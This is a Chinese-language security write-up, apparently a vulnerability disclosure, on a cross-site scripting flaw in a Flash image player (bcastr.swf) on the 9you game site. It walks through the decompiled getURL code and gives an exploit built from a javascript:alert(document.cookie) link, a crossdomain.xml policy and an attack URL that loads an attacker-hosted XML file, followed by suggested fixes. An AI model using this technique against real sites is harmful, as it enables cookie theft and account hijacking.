好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

久游网FLASH安全问题深入分析与利用(一) - 网站安

getURL安全问题.

案例:

 

lh.9you测试数据/web_v3/bcastr.swf?bcastr_xml_url=xml/bcastr.xml

 

这类型调用方式, 调用的外部配置或数据文件后缀,如: xml等

 

 

函数A内容如下:

 

//as3.0版本

navigateToURL(new URLRequest(参数), "_self");

 

//as2.0版本

getURL(参数,"_self");

 

案例是2.0版本的.

 

其中参数就是被打开的链接。

 

如果参数是 "javascript:alert(1)"

 

那么就可以执行JS代码了。这里的点击执行代码的效果类似于网页里的

 

 

<a href="javascript:alert(1)">点我弹出1</a>

 

我们先看看xml配置文件中的信息:

 

 

 

item_url 为显示的图片地址

link 点击图片的跳转的参数;此为上面所讲的可控参数.

 

 

逆向看看这个swf:

 

 

getURL(bcastr_link_array[this.id], "_blank");

 

找到类似代码,我们看变量名字可以看出bcastr_link_array因该是link标签的数组,跟踪下bcastr_link_array.

 

 

bcastr_link_array = new Array();

.............................

 while (i < item_total_num) 

        {

            bcastr_flie_array.push(bcastr_xml.firstChild.childNodes[i].attributes.item_url);

            bcastr_title_array.push(bcastr_xml.firstChild.childNodes[i].attributes.itemtitle);

            bcastr_link_array.push(bcastr_xml.firstChild.childNodes[i].attributes.link);

            ++i;

        }

 

证明了我们的猜想,数组循环赋值.

 

漏洞 利用:

 

将link标签地址转换为我们的攻击代码,如

javascript:alert(document.cookie);

 

跨域操作.

在我们自己网站的根目录下,放置一个 crossdomain.xml

 

<?xml version="1.0"?>

<cross-domain-policy>

<allow-access-from domain="网站" />

</cross-domain-policy>

 

本例子中网站->改为:*.9you测试数据(匹配任意的9you测试数据子域名)

 

最后的攻击连接:

 

http://lh.9you测试数据/web_v3/bcastr.swf?bcastr_xml_url=http://127.0.0.1:8080/bcastr.xml

 

 

http://127.0.0.1:8080/bcastr.xml为我搭建的环境.

 

 

 

 

好了点击下里面的图片.

 

 

 

修复方案: 对XML中传入的link url进行正则判断

或者

限制加载第三方网站的XML文件 

 

贵站排查好这类型的swf文件,我就不刷分了哈哈.

 

查看更多关于久游网FLASH安全问题深入分析与利用(一) - 网站安的详细内容...

  阅读:52次